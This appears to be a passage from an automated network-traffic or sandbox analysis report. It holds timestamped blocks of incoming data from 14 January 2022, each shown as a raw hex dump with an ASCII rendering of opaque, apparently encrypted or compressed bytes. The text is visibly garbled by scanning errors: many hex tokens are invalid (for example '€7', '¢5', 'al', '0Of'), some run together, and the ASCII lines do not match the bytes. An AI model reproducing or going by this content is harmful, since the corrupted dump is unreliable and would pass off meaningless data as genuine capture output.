07 97 90 32 22 a7 f8 da 0a 8d 3a 72 47 47 77 fc f2 cd 63 70 0Of 24 2e 96 00 73 76 f6 69 8f a9 c0 36 83 74 96 e5 a0 2e 4d
90 d0 6f 24 35 58 1c al 4f 4f9b a9 bb 98 2f f7 77 f1 20 el 67 45 7c 90 14 fe d6 35 c6 1d 1b 93 86 d4 db 58 ce a4 49 0d c5
02 d1 22 90 al e5 25 5b 61 32 30 8a 98 4d dd 15 6f cf 59 1b 2c 8b cf 4c 5b 5f 03 06 31 58 83 19 80 a4 e6 ea 8b 20 cf 3b
78 74 68 €7 98 d9 64 b6 ce 08 4e 8e 9b 72 9f ¢5 88 71 d4 92 97 ee 33 3f 27 db 77 32 9f ae 30 fb f6 59 84 b9 87 f2 74 94
40 6b de 65 4d 91 93 9f 4a 02 b2 88 0f db b5 dd 95 f9 e6 dc 67 cc ff 29 51 3e a9 67 8e 44 38 d9 b2 be el 3c 8e 3e 68 b4
ed 6¢ 32 21 9d 76 97 12 5e 68 77 27 84 ef 86 ff a0
Data Ascii: >03a>rq=23VI1Av2":rGGwcp$.svi6t. Mo$5XOO/w gE|5XI"%[a20MoY,L[_1X ;xthdNrg3?'w20Yt@keMJg)Q
>gD8<>hl2lv*hw'

2022-01-14 03:59:52 UTC 4702 IN Data Raw: 40 54 9f 4f 50 06 2a 65 24 93 6¢ 48 80 66 35 68 ea 12 9c 93 d2 1a ab 8a 2a 7e 73 €5 €9 33 f2 d5 a7 f3 b4 e7
ab 93 3b 54 7c 36 44 2c bb 44 65 50 6¢ 4c 4f 1f 25 6a df 95 2d 86 97 93 a7 55 fb 68 63 18 84 c6 ef 1c bl fe 99 b8 4f 16 d4
0Ob ca 30 c5 00 60 6e 55 96 c0 03 0f f8 eb d5 2b 6f cf 57 cd 92 74 54 99 e3 e0 a7 4f 9c 9b 44 78 9f c3 05 a3 2d 48 52 c0 c1
a3 e6 8a 34 77 b8 62 08 bf d6 52 b5 16 91 bb 36 48 bc 1a e7 7f 3e 94 ec f2 a0 8f db 93 fc 43 bc 12 ff b8 52 el f7 32 d8 al
34c838el12dlf6a7 1e 56 90 03 al 9a 99 6f 54 23 c0 65 47 3c 1b 7c fe 53 b2 3a 62 cd 31 32 24 d9 3a 58 67 71 cb 32
6b 9f ab c6 cc 19 92 00 a4 67 c3 67 c4 b3 fc aa 9c 7c¢ 42 5e 21 dd f4 de b8 73 75 e5 18 d6 8b 4b 73 45 f7 6e 80 al 46 1c
72 78 ac b7 a0 b3 fa 70 a2 e0 61 e2 ac 52 ce bc
Data Ascii: @ TOP*e$IHf5h*~s3;T|6D,DePILO%j-UhcO0 nU+oWtTODx-HR4wbR6H>CR248VoT#eG<|S:b12$:Xgq2kgg|B"!
SuKsEnFrxpaR

2022-01-14 03:59:52 UTC 4718 IN Data Raw: 89 33 23 45 96 b5 99 4f a4 1f 21 e7 79 2d 41 73 f8 32 89 da 8d 5¢ 78 c3 3f 24 32 1c 89 fb 1a d4 88 03 41 52 8a
4c e2 ce 40 8d d9 4a 77 e3 07 d6 6d 3c 2b fe fe b6 1b 62 al 74 2d 02 3d 24 6b 9d 66 95 3f 3f 8e 4c a9 34 2a 5a e2 70 c3
1a 17 40 00 7a 2b 8b 05 al 90 50 ed bd 05 28 dd 82 c3 f3 69 64 b7 53 27 6f 27 28 e5 8f 61 4d 2f 2f 11 6f 58 62 9f 77 14 2b
2a 78 dd 95 d0 20 4a 4e 74 31 b9 16 0d 1c f4 07 f6 c4 cl ab c9 b6 ec 12 9b Ob cf 5d 47 6f 3b 87 62 2b 7a 7b 8c 5e 27 1f
c58ad3cl 28 d4 0b cf 6557 e4 5d 94 0a d5 d8 23 8b e2 a7 9d 4b 8f e6 ef 57 12 7a Ob c4 df 54 bc ef 8b a6 2b 20 90 b0
44 89 f4 9f e2 5e fc 30 6d 5d f4 31 3b cd 94 61 e7 8e Ob d8 a0 2f c8 a0 8f 24 c4 db c4 50 75 44 30 54 f7 47 €9 c6 2e 70 03
78 27 ec 7a e5 5b 45 5a 5¢ 92 66 78 b4 d5 84 c5
Data Ascii: 3#EO!y-As2\x?$2ARL @Jwm<+bt-=$kf??L4*Zp@z+P(idS'o'(aM//oXbw+*x INt1]Go;b+z{"(e W]#KWzT+ D
A0m]1;a/$PuDOTG.px'Z[EZ\fx

2022-01-14 03:59:52 UTC 4734 IN Data Raw: 55 fe 4d 9c 06 Oa 94 45 8e 42 de 2f 02 6e 46 75 a5 87 ec 4c 50 3c 4f 28 9d bc 3b c4 79 6f {7 5e 36 86 9 84 ea
c8 49 21 2f df da 52 4a c3 3c b6 eb af a4 8c 29 7e 86 28 43 4b 9f 37 08 b2 af c2 e8 5f bb b5 e8 27 4a 04 3e Ob 63 ec 5d 8d
8e fc 77 2a 97 be 6f ¢5 75 35 b8 94 Oc bc 0f d9 2b ed 70 06 b6 98 c9 e2 58 57 7b 76 ad d9 7 91 26 d5 bf d8 90 43 ff 94 63
09 72 07 00 46 86 aa el 78 97 a3 40 f7 ee c5 de 10 6d 60 79 18 01 43 48 79 15 99 97 7e 45 9f bc 38 d4 b6 fe 38 40 89 ee
3f 32 df 3e 9f b7 e9 Oa d6 2f ce 7a 51 9f 7c 6¢ b8 38 ea 26 07 a7 08 dc al 07 ec e3 fa 96 44 b4 4d b2 d1 1e fb 2c da c6 d4
bb ¢8 35 76 98 26 1f b7 62 20 al c7 4b 58 31 5f 18 fa 83 d3 34 1b 80 77 3b €9 63 84 c8 6a ee 75 44 f0 0d 79 1b 96 37 41
dc el a4 65 e7 fb 33 cb 89 6f 0d b2 74 80 e8
Data Ascii: UMEB/nFULP<O(;y0”61!//RJ<)~(CK7_'J>c]w*ou5+pXW{v&CcrFx@m'yCHy~E88@7?2>/zQ|I8&DM,5v&b KX1_4
w;cjuDy7Ae3ot

2022-01-14 03:59:52 UTC 4750 IN Data Raw: el 21 6d 2e fc eb 4f 24 91 33 3c d4 Oa bc 70 d1 40 da 09 97 2b a0 d9 29 c2 d9 3c 8e e2 45 8e 1c 92 7c Oa 5f
ae a7 8d cb b4 d3 17 50 86 f4 59 83 5f 4a 02 cb 3e 7c¢ 40 d5 03 9c 67 95 50 cb 4a c5 al 41 b0 3f 0d 64 90 61 29 fO 7b dd
46 0a 90 e9 59 ba Oe b9 b1 44 c8 f5 90 bc ee d4 bl 55 d4 03 df 20 b2 6b 90 f4 06 03 eb 8f 92 2e 9a b0 35 33 e5 8¢ 91 96
63 c8 e6 78 05 89 50 92 22 db d0 17 c6 70 fd el 9 56 e4 37 36 fb c2 8f 43 d2 eb 4a e6 40 1e a8 10 98 ae 12 f7 8d 01 cb
1d 56 b0 ba 1b 57 87 45 65 83 88 57 28 01 0f 14 60 6a d2 51 10 e3 3e 9e a0 dO d8 8b 5f 20 7b af c5 bd 15 16 e0 60 00 02
d7 d4 be 20 60 65 6¢ 92 67 d2 54 2e 0f ac 66 34 f8 31 3e c6 83 fa d8 f8 c0 80 54 1d 09 68 43 Oc c0 69 9c 75 c6 55 2d 55
le be df 67 fc 8a 18 0d 97 8f ad b6 92 f3 10 5a 9a 89 11
Data Ascii: 'Im.0$3<p@+)<E|_PY_J>|@gPJA?da){FYDU k.53cxP"pV76CI@VWEeW(jQ>_{ ‘elgT.f41>ThCiuU-UgZ

2022-01-14 03:59:52 UTC 4766 IN Data Raw: 82 3d 70 41 63 23 5b 5b 9b db 6f 72 bd ee 1c 3d Oe 67 c4 ac 3e 86 13 2f 0a 18 94 75 de Ob ca 55 6b 1f ea 7f
e7 Oe 8f cb Oe 99 40 Ob 9e 6d 05 f8 29 c6 85 9b el 6b 17 e7 39 a7 57 85 8a dc 37 51 2d af 3d c9 57 53 5¢ 2a e8 f5 5¢ 67
ea 4l ed 9e f6 25 aa 28 e2 fd a4 3f ef 63 fd 69 13 31 b0 8e 48 18 d1 8e c7 35 cc 94 a2 f0 a6 cd 59 3d 5d c5 de da 73 b7
12 ea Oe 54 8b 2 f9 ce cb €9 2d b2 79 f1 85 b4 c4 6e db 8c b2 14 88 f2 7c 22 f6 de d3 30 ae af 0d e0 5d ae b7 5f ec cd d6
22 9b 0d 6f 87 al b3 82 f6 70 8¢ f2 50 8d e5 ¢9 9c 3e c3 ee af f5 97 72 88 21 19 6b ¢9 30 3c 25 8c 5a 1e 3d 3c 80 ec a4
15 04 3f 87 69 17 bl 51 7f 81 25 14 29 a8 58 aa a2 d6 ca 58 59 8d 45 72 42 cc Oa 2c 4a 57 bc 10 49 7c 4d c4 d5 68 3c 1d
98 d3 e4 c3 e5 a4 0a d7 67 74 65 aa dc 64 5¢ 0f 9a 12
Data Ascii: =pAc#{[or=g>/uUk@m)k9W7Q-=WS\"\gA%(?ci1H5Y=]sT-yn|"0]_"opP>r'k0<%Z=<?iQ%)XXYErB,JWI|Mh<gted\

2022-01-14 03:59:52 UTC 4782 IN Data Raw: ¢4 7f 00 Oe 59 2b 67 da e9 d0 15 d2 ef 98 b4 0a 5a d6 82 80 e4 b2 e4 b9 5¢ 9¢ 20 56 49 e5 9f 75 76 3a bl 7d
60 f9 79 5a 83 f6 93 73 b7 1d 65 87 b0 55 ed 98 95 5a 1c e7 4c 5d 48 bf 11 2b 36 b3 38 d9 a3 74 43 40 1d 45 6e 66 96 93
2957 43 32 13 db 3b a9 62 8a ed 46 44 f2 4f 90 6e 2a 26 9e 38 8e 5a 55 ac 07 e6 5¢ 54 88 97 20 8a 94 26 d8 bd e0 2f dc
96 58 ad 7b 60 1f 2a 86 cf 6¢ 7a af cc 2a fd 27 3f 26 e4 51 6d 1a 62 46 83 4c 22 c0 ac ea bd 7c 3e 99 32 10 70 22 3d 08
d9 bc 37 ¢9 e0 9d b3 fa df 50 d9 44 80 ad 8b 0f 9a 62 3c ca 67 35 c¢7 da 85 23 80 80 f1 11 17 98 12 d6 1e 39 09 05 b2 69
11a5c5c082 a7 b6 d4 1b 9e 77 1c 26 50 69 89 31 ac 5b 54 3b 57 2e ab 99 ec 24 a5 37 a9 ¢6 94 36 77 1e c7 dd af bb 5b
a7 2f b2 e3 fb 9f b2 5f b8 d2 ¢7 d9 93 0d bc ¢7 93 c2 25
Data Ascii: Y+gZ\ Vluv:}'yZseUZL]H+68tC@Enf)WC2;bFDON*&BZU\T &/X{ *|z*'?&QmbFL"|>2p"=7PDb<g5#9iw&Pil
[T;W.$76wW[/_%

2022-01-14 03:59:52 UTC 4798 IN Data Raw: 1c 47 1e 3b 65 06 53 cc d2 75 f5 72 37 9e 9f 2d ce ¢3 b5 f3 35 57 f5 ¢6 15 9a c2 d4 dd ea 84 32 6f 89 0d 09 1d
Oe dd ff 11 4e 7 fc 14 54 12 22 98 76 80 10 c2 75 61 db 98 73 d7 4a a0 da aa a7 cb d7 e3 91 f1 73 e6 96 7 27 c0 f8 81 22
98 00 fe 5b 6b 49 21 94 49 43 53 fa 17 4a ca df 98 55 1e 2b 45 9c bc 84 6¢ b9 17 67 ea ee fb ac €5 1f be b3 09 c9 db 11
21 df 4b a8 2c Oa e9 a0 f3 27 f7 Ob 97 20 a0 62 69 71 eb 05 3d fe a8 19 7b 05 2f ¢6 4a 22 3f b1 84 f6 83 11 7d 54 23 24 e8
ae 57 fc 89 85 84 88 89 00 4b bd 3c 95 db 54 6b c8 8e b5 cd 91 88 2b 15 f0 26 a2 a7 77 5b 77 24 07 eb b0 de 23 fa 5d 10
9e 34 5f cb 76 71 f3 44 ed aa 46 18 39 60 27 ea 3c 00 1la 0a 97 c4 ac dc ed 72 2d 23 b4 24 44 3 00 8e 1b 4f 78 a6 07 7b
21 1c 29 45 63 c6 5a 84 11 a7 45 86 37 7e a7 23
Data Ascii: G;eSur7-5W20NT"vuasJs"[kI'ICSIJU+EIgIK," big={/3"?}T#SWK<Tk+&w[w$#]4_vaDF9"'<r-#$DOx{!)EcCZE7~#
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 4814 IN Data Raw: 48 e4 de d1 79 7b €9 8d 86 43 b3 4f 95 dc 3a ef 05 35 €9 89 60 29 10 1f e6 9d 1e 07 b5 05 58 8e 9c fe ff fa Oe
7c2aa23a31a0 77 61 b7 be 18 ba c8 b9 Oe 58 12 c5 b4 e7 89 bl 65 4e 2e e7 dc 19 e2 d2 f3 96 f0 6b ¢3 72 7d 17 07 aa
0f 92 88 b4 07 e7 45 34 ab 3 4e 12 c7 46 43 42 2b 76 34 eb 20 63 40 84 81 a9 4a 65 af 61 90 52 99 4f Of 82 f2 0Oa f5 9f 03
82 26 d8 37 29 8a 63 bc 53 91 71 de 81 6b a3 a8 b1 4a 3e 15 57 3f 5¢ be 96 61 80 6d 9f e3 8e dc 48 d6 84 60 cb d6 91 70
44 31 f6 25 e7 92 e2 39 b5 cc 62 cc 8a 91 e9 8d be 7b 59 7b b4 c4 0d 6e c6 fd a2 ab 86 7a 8b 2e cf 99 da d1 9e 11 {6 cd
ae de a7 d0 e0 d9 07 fe 8a a2 81 81 42 a7 48 9a a0 aa 29 e2 c4 c4 e5 bc e3 8¢ a6 d5 88 3f 84 d1 dO c0 56 c9 29 cf 66 f2
17 71 55 fc 74 87 27 a3 68 05 f6 d0 3d 79 7e 21 a2
Data Ascii: Hy{CO:5")X|*:1waXeN.kr}EANFCB+v4 c@JeaRO&7)cSqkJ>W?\amH pD1%9b{Y{nz.BH)?V)fqUth=y~!

2022-01-14 03:59:52 UTC 4830 IN Data Raw: 09 db b6 c0 35 ba ff fe a9 ed d0 3b b5 ¢5 64 ¢5 71 7c 97 81 ba 3b 03 44 3b 02 b7 e6 Ob €3 32 d7 dd 1a b5 ba
99 41 41 9f f9 4f el 6a ac 69 27 84 08 70 3e fe f7 b8 a3 05 9c 98 f4 3 28 0d 20 22 6d 46 79 fe bf 8b d5 91 b5 99 00 aa 96
09 70 df e4 6d 1a c9 10 a9 24 ba 91 2a dc d2 al ea 51 68 da 72 20 81 12 4d 42 31 3f 86 €8 00 4a 8c 6b 86 97 78 c8 9d ba
0d 60 47 17 55 7e 80 3c c8 40 bb 74 bd b8 b1 b2 75 fa f2 60 94 6¢ 7c 84 48 72 83 a7 89 27 2f 4b 56 4d 17 e2 db fc 86 fO
11 54 7b 6e 09 10 61 d7 23 22 0a 58 cb f8 91 4a 61 c4 86 26 €2 ba 6b 28 bd 10 al 5d 1d 5f 2c 25 72 b2 80 2a 57 e3 4b 3a
8f 9b 01 35 3b 48 03 2e a4 85 b7 47 72 6f 30 df Ob 36 0d 8a 05 18 95 cb c9 23 66 ec 2b 1e Oe 87 88 92 c3 88 fa ff 9e ac
00 82 e4 ae el 03 c6 80 df 9d b4 8f 65 eb 24 d7 73 8c
Data Ascii: 5;dq|;D;2AAQji'p>( "mFypm$*Qhr MB1?2Jkx’ GU~<@tu’l|Hr'/KVMT{na#"XJa&Kk(]_,%r*WK:5;H.Gro06#f+e$s

2022-01-14 03:59:52 UTC 4846 IN Data Raw: 40 df 10 fa 58 a6 d1 5d al ac 40 21 3c d6 3d ce 7b dd 1b ab 83 2e 63 09 36 17 3e d2 ae f9 7c 92 c0 0d f3 a4 07
0f 5d 46 c4 50 a8 39 d3 fa ac 10 d6 cf 23 Oe 3f c4 f5 91 fe b4 5d b3 e7 €2 93 c4 f5 08 36 7b 0f 09 €9 10 5a ab a0 06 15 3a
78 ad c4 82 c8 fb c6 cc 66 d9 4b 44 84 1f cf b9 2a a0 23 08 4a b9 d9 a8 a3 bb 79 2d d7 10 02 al fb eb ec 11 43 f7 cd 7c
bc 14 e5 6¢ 04 a0 c4 fc b7 3f 89 e6 39 9f 4d dc d1 fe fe 4f 36 a5 6e ad f2 06 7c 97 b2 9e c6 1a 90 fb 45 be d2 92 a6 82 35
6ac7 al 06 31 el e8 3251 b5 cf e8 7e b0 b6 83 97 4d fa f8 ¢8 d2 b3 8d f7 26 ¢8 cc 57 b0 48 2c 4b 2d 8 60 Oc 78 a6 3d
eb f4 4b 1a 5d 83 97 b9 26 7f a4 e3 ef cf 49 dd a0 b0 6d 87 a8 b0 90 72 3f be Ob 3 da 9e 60 db 0d 16 14 c7 36 49 cc e9 fa
18 4c laflcf92 ad e8 62 18 f1 a8 ea a2 f8
Data Ascii: @X]@!<={.c6>[]FP9#?]6{Z:xfKD*#Jy-C|I?9MO6n|E5j12Q~M&WH,K-"x=K]&Imr?'6ILb

2022-01-14 03:59:52 UTC 4862 IN Data Raw: 03 cc 53 ee a0 8d Oe 12 2c 73 c7 c9 e6 cd e2 91 49 fc 23 82 14 ed 3f ae 22 c1 de d2 9d fd d7 52 0d 4c 4d 5¢
08 55 2c bf 5¢ f6 db f9 76 55 3e 75 ce ¢9 21 26 d4 9d c6 2 ac f7 0a 54 97 4b a3 92 47 8¢ 78 8e d2 af 18 ef 54 a9 32 6d c4
bc 9e 1f 49 cb 37 22 cd b7 7f 96 2f fc e2 78 ae 2b da 99 f9 f7 6¢ b2 c2 66 f9 bl b6 ca dc 8e 2f 92 9f 2e 4d ba 5b 5¢ 14 5f f8
20 fb d3 51 a0 a6 3c 98 ad 59 97 64 aa 34 e9 46 fb 94 52 8d cd 9e 6¢ 19 6f 9f be 89 a8 18 4f 75 02 b5 fa 18 a2 32 65 fa 34
4b 24 6f a6 b8 f2 d7 f0 30 48 fe c2 99 51 0f a8 Ob 72 36 fe 67 73 4c b0 74 d8 28 ca ce 87 45 b6 €0 8b 6d 80 df 1b 69 1d d3
2a 4e 9e 0a 03 db Oe 1f 41 7e b8 2a 29 c4 6d 77 81 55 13 65 3a €9 f5 1e 5d 3¢ 13 ce de 7c 7d b6 ¢7 9¢ 85 59 99 1d 1b 30
ba 14 2e 96 c3 b7 05 95 82 e7 70 6f Oc 42
Data Ascii: S,sl#?"RLM\U,\vU>ul&TKGXT2mI7"/x+If/.M[\_ Q<Yd4FRIloOu2e4K$00HQr6gsLt(Emi*NA~*)mwUe:]<|}Y0.poB

2022-01-14 03:59:52 UTC 4878 IN Data Raw: ac b7 87 35 82 8d a6 69 8d f1 5¢ 4c 3c 6f 09 23 58 bf 25 4e c5 44 e6 b7 97 a8 ac 90 {7 22 cd d3 c6 a8 af 13 7a
91 4a dd ec 19 6 a4 c5 63 36 3 8f f2 92 a4 06 29 78 33 70 e6 fO 24 84 b2 Oe 74 cd b1 Ob d1 d7 53 e0 6c e8 87 2b f1 b7 bb
6f 6¢ ee eb c5 f2 bc eb 05 b7 98 13 f5 78 59 b5 45 c2 49 df fb 3e 55 el 27 83 a6 a7 d5 16 73 36 36 90 7b 3b ce e0 6d c9 5t
42 bd 66 36 35 c6 ef b6 7b fc d9 27 44 c1 30 87 09 e6 f0 0d 69 e5 5f 69 96 70 ce e0 f2 ef 28 2a 44 e3 33 79 5b 2d 7f 61 8e
5 9b 60 6¢ a3 41 c1 f6 3c 32 fa 32 cd 7 4d aa 58 47 4d el 28 3d ec 76 Oc 72 88 92 37 cc e2 f7 75 6b 48 c8 ca 36 7 c1 a2
3e d2 88 aa d9 b5 a9 fb 36 7a d6 d9 fa Oe 24 f3 82 4f 98 ¢7 b3 a5 ac ¢9 92 41 d8 d0 01 26 fd 8d 0a c4 ed 46 01 bc 2d a0
9d el Oe 88 18 ff b5 d2 1a d4 1a 93 c7 02
Data Ascii: 5i\L<0#X%ND"zJc6)x3p$tSI+oIXYEI>U's66{;m_Bf65{'D0i_ip(*D3y[-a IA<22MXGM(=vr7ukH6>6z$OA&F-

2022-01-14 03:59:52 UTC 4894 IN Data Raw: 80 d5 50 91 16 a4 61 ¢8 96 92 1c 32 ab 66 84 42 cc 40 ae e8 8c 5d 10 43 df 8d 96 f0 71 4d 55 10 3b 3f 6a 15
05 b7 8e 13 38 2f 72 04 8f c4 81 90 4e 9b 2b ea 35 a0 ec 66 ba 10 Oa af 65 Oc ca de d6 c4 1e 81 6a d3 b5 d7 be ac 13 4e
34 0e fd a0 42 93 56 €5 f8 75 6b 6¢ 0d 4b 39 ¢9 3a 39 11 46 04 55 14 ea d9 bf fd 39 d5 72 70 ef ed 7a c4 bf 9f 34 91 b4 fO
28 9b 25 31 9a 07 63 5a de 84 35 72 56 38 Oa c7 ch 85 27 be 29 aa 80 b3 86 7b 2d e8 41 56 05 96 bf f6 8c bb 9d 40 01 e6
95 17 d0 32 ce dc 94 4b ec 4a cf 65 52 46 6d 60 72 07 d5 1a 37 0d ec bb 02 27 39 30 7e 3b c2 4c f6 1f e8 1b f1 2e dc 8d ff
Oe le 27 ff 1e 87 09 95 59 1a 3e 5¢ 02 7d 34 a5 6 fa 34 52 bb 93 e2 69 bd 76 1f f9 49 e8 d8 dc fe ba ee 6a 6f e6 7e cc 40
4e e4 b4 4a bd 54 75 d5 bf 78 d9 c5 ce 09 2f 06
Data Ascii: Pa2fB@]CqMU;?j8/rN+5fejN4BVUkIK9:9FU9rpz4(%1cZ5rV8'){-AV@2KJeRFmM'r7'90~;L."Y>\}44Rivljo~
@NJTux/

2022-01-14 03:59:52 UTC 4910 IN Data Raw: ab 65 ae b4 cf e4 7c 51 ea 7d 65 55 3a 2e 19 f0 25 5b 15 da 41 ee el 78 7b 47 b3 28 f1 68 69 9a c2 f8 e4 ff 1b
6b 45 ee d1 44 af 47 93 89 9d 60 cd 02 a2 cb cc e0 83 bb e0 4c eb cc 10 d4 25 69 c2 b2 08 ae al ea 07 76 ae 02 b6 3a ed
2153 ff d2 51 78 da 14 e2 5d ca 8f c5 d8 62 03 6a 23 38 90 8f d6 e7 df e6 1b 37 74 b2 b8 26 02 76 13 d9 30 c5 ed ec cO
7a 67 8c eb bl 5b 36 e0 05 fb Ob bc fc 65 3d 96 6d 67 cc a7 34 80 36 64 f3 4b €9 a0 c6 41 23 6d c2 2e 1d 19 9b ea 45 99
d6 34 de bb 5f 23 2e ¢5 44 71 13 38 ¢1 05 5b d5 49 1d f1 96 ¢5 ¢3 31 8¢ 40 ¢5 18 41 52 39 7b 6a 7c 79 57 26 06 2d 44 59
29 05 44 b5 0d a9 1c 00 91 99 9a 5d a5 9f bd 90 29 38 b9 db 71 ¢5 0f 3d 99 22 85 87 a6 fc 53 9c 02 f8 7e f3 17 4c 5¢ 31
13 8d 92 8e b0 f2 a2 8e 4c 15 cb f5 9e 6b 83 96 47 07
Data Ascii: e|Q}eU:.%[Ax{G(hikEDG L%iv:!SQx]bj#87t8&v0zg[6e=mg46dKA#m.E4_#.Dq8[11 @AR9{jlyW&-DY)D])8q=
"S~L\1LkG

2022-01-14 03:59:52 UTC 4926 IN Data Raw: 8f bd ed 92 40 db 3 e2 aa 04 b0 66 b7 02 22 0 4d 6e d5 da cd 60 47 18 58 bf a9 5b c1 62 dc da 1a 48 49 19
laca 79 25 b0 95 48 6a 1f 57 4c 63 9b af db d2 e5 6a a9 85 1c 7b 72 4f bl 14 c6 18 90 ea c3 be 1d 2d 06 41 74 a6 €8 5d
a3 a9 45 d2 el 76 eb 84 0d 9d c8 3e 16 b0 a8 83 fb fa d5 5 f1 fe c2 d1 11 c4 bd 62 Oc 8¢ 9a 61 93 bl 13 49 c9 €6 07 6¢ 6¢
70 ce 2d a7 72 9b 68 13 8d d0 ad da f9 0d 01 8 aa 1f c1 8 44 47 55 14 7d f7 40 0d c7 ae 88 02 95 db b9 43 a5 e4 {7 68
30 Oe 68 03 3c fd 12 d1 40 €3 90 a5 85 01 39 66 4f Oe 6 b2 e5 ba f4 9a b7 44 5e 50 3a af fa 56 17 99 d3 7b 95 d3 ea 98 fc
ef be 5a e7 1c ef da a7 af ce 5d 2b ee 93 7f e2 08 df 52 06 ea 07 10 af ef f 4f 31 a2 89 b5 03 23 d4 b d8 el 03 56 10 6b
2f3d 49 7b a2 d9 c8 93 89 07 37 95 ff 53 b7 22
Data Ascii: @f"Mn’GX[bHIy%HWLci{rO-At|Ev>balljp-rhDGU}@ChOh<@9fODAP:V{Z]+RO1#VK/=I{7S"

2022-01-14 03:59:52 UTC 4942 IN Data Raw: 38 48 0f 68 Oc 74 eb 37 b7 8a Oc b6 c2 36 52 47 58 90 €3 1c 76 d5 09 60 70 1c 89 dO 2f 37 28 68 44 86 27 7a
98 ¢9 89 59 82 96 d9 96 b6 ef 8e 9b 01 f8 29 62 f1 43 77 06 09 02 dd 74 2b 5b aa 56 de af 91 ef 38 bb 42 36 b9 c7 c6 38 cf
62 2f 8a 64 7d d7 e4 e4 93 Oe eb 7f 45 e4 df 3d 57 4b 69 c2 c5 6f d0 67 4b ¢3 2c e6 c6 db 4e a3 56 b4 46 aa c2 0d ed 08
ec c6 10 0a dd ¢9 b0 c0 d3 57 7b 78 d3 ff 12 40 75 39 32 el 7d 3c d7 e7 30 c5 db da ef a6 5¢ 76 b4 f3 58 a7 5 9f 1e 13 99
98 10 c2 07 09 26 34 91 3b Oc Oe 4c 1f 40 7d 6f 32 67 05 ec 92 08 8a 68 09 93 71 62 59 a6 08 c3 2a 81 11 0d 05 5f 09 bd
3d 40 de 17 97 ae 1la a5 4c 3b 8a ba b7 ba dd 94 8b b8 fd 65 b3 1d f3 b8 Ob fa 94 72 48 23 65 3c 9a b6 eb d9 cc dc 3f 87
95 2c da al b8 98 32 fd 7a b8 a8 de 9f a0 a2 9c a3
Data Ascii: 8Hht76RG XV p/7(hD'zY)bCwt+[V8B68b/d}E=WKiogK,NVFW{x@u92}<0\vX&4;L@}o2ghgbY*_=@L;erH#e<?,2z

2022-01-14 03:59:52 UTC 4958 IN Data Raw: 28 45 8c 0d 60 €9 09 14 d4 8c d4 al 76 27 98 b3 15 12 b3 81 d0 bf ce 49 6b 8c d5 16 3a d9 b0 c2 42 1f c2 8e
9852 69 ee el 1d f1 37 24 c3 32 c9 04 b4 02 da f7 2f 80 6b b7 e8 4f d3 25 97 bf 40 42 9e f9 8b b6 4a de 1f Of 5a 35 38 09
b7 d2 8a aa d7 7e 27 ae c2 b4 11 2a 26 9d 84 68 7e 36 e7 fe cc fd 8a 53 96 bf 1c 8d b2 99 ab 38 5f 5e 79 61 8d 37 89 bd
09 90 e2 2c b5 8d ac 2d 17 8¢ 92 1b 75 99 eb f2 67 8f b4 ed 7d e4 b6 25 00 d3 95 d7 91 bc 6d e2 d6 f2 95 1a 3c 3c 73 34
a8 d9 al 5e d7 2c 84 5d 9c 5f 45 45 a6 b8 88 f5 04 03 4f 9b 71 77 83 93 74 67 93 ee 36 09 {7 2e 07 62 ba 99 ce 78 94 67
d4 bc e7 2e 25 7a 45 cc 6f dO 4d 2d 38 63 23 45 d6 69 ec ad 63 23 22 06 14 42 04 09 61 22 fd 2d ae 5d a6 a5 2f 28 2c 1la
18 30 b0 08 bc 2d 3 f7 9f 37 44 8e 63 Oe 8e 84 f6 8¢
Data Ascii: (E'V'Ik:BRi7$2/k0O%@BJZ58~"*&h~6S8_"ya7,-ug}%m<<s4”,] EEOqwtg6.bxg.%zEoM-8c#Eic#"Ba"-]/(,0-7Dc
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 4974 IN Data Raw: 11 5a e7 24 a5 48 8c 7e 9b 32 e4 6¢ 96 83 d5 2c 5b 6b e6 c9 84 fb 75 4d 76 58 d4 d4 96 93 Oe 39 37 68 Of Oa
c4 cf 5d 64 b2 07 30 1a 64 7a 23 a0 77 27 Ob cf 72 b4 bc 06 1e 2b a2 e7 6d 4d 65 c8 94 c4 40 af 05 98 9b 1c a2 10 f9 e3
4f b2 d3 de da b8 ca 62 45 c3 75 el 57 ea 4c d1 2e 73 2e a7 cO b8 17 78 ea 46 27 59 30 6a 62 77 7e 22 dd 39 07 82 ed
14 a0 c5 73 €2 d8 95 ad 96 4b 2c 75 da a7 ed 39 e3 f9 3b 4c 95 26 c¢7 b6 07 f0 38 01 ad 89 18 bf f1 48 d3 1c 19 48 a5 3d
b4 c6 65 be d2 ff 80 06 af bf 31 5e d2 d6 e4 71 bb a7 03 36 1d 4c 45 51 58 d2 63 ec aa 52 €8 47 82 e2 6e bd b7 f3 c4 4f 6¢
c5 7d 90 89 dO eb 1b 92 7d 7b f7 94 64 ec f4 01 a2 8d fe a2 57 8e ec 63 c4 42 68 43 db c0 88 51 66 16 61 5¢c 53 9a ac 98
a9 04 68 f1 b7 bd 48 58 de 03 8b 32 95 4b 57 fe 8d 66 d4
Data Ascii: Z$H~2I,[kuMvX97h]d0dz#w'r+mMe@ObEuWL.s.xF'Y0jbw~"9sK,u9;L&8HH=e1"q6LEQXcRGnOI}}{dWcBhCQf
a\ShHX2KWf

2022-01-14 03:59:52 UTC 4990 IN Data Raw: a4 96 92 ee 62 cc cd c6 a2 ab 02 5d 8 9f 21 19 70 07 16 03 2c 91 85 ee b1 15 e3 al 76 1f 09 3f dc 48 {7 5f 1b
78 1lac6 8c 4503 c9 00 a5 75 d0 a4 29 eb 92 8f bc 89 0f 00 92 03 db 35 aa a2 fa a0 70 fO af 5b ee 57 a2 22 ab 2b 78 04
c2 ffac a7 Oe e5 32 08 d1 07 da 52 Oc 90 fd 7b 2e 08 4b 86 8e be f8 b8 64 45 df 12 f8 60 3b 56 3d 8a 85 bc 8e e8 9c 52
01 3c ef 10 e7 fb d0 68 45 64 3c 6¢ 65 c5 aa 57 77 d6 6d 50 Oe Ob el 10 99 €9 d8 76 1b 8c e0 b3 ae e8 bl 5a 2e ec e4 86
34 5b 76 34 75 7d ac 62 d7 f7 f0 5d b8 eb a3 da 32 7d 69 73 1d a7 38 e0 d1 da 6f 4d 02 b9 60 24 eb c6 de ad 6¢ 53 7d e3
cb 91 4b f2 Oc 41 38 b1 78 5c¢ fe 95 6b b0 f4 66 2d d4 9a 12 4a 6d 77 35 96 2d Oa 7b 86 bc 35 12 79 29 5a 01 c4 cd 52 5f
a2 0a 58 ed 0f 15 16 84 61 72 5a 9¢c 5a 27 11 4a 71 fd
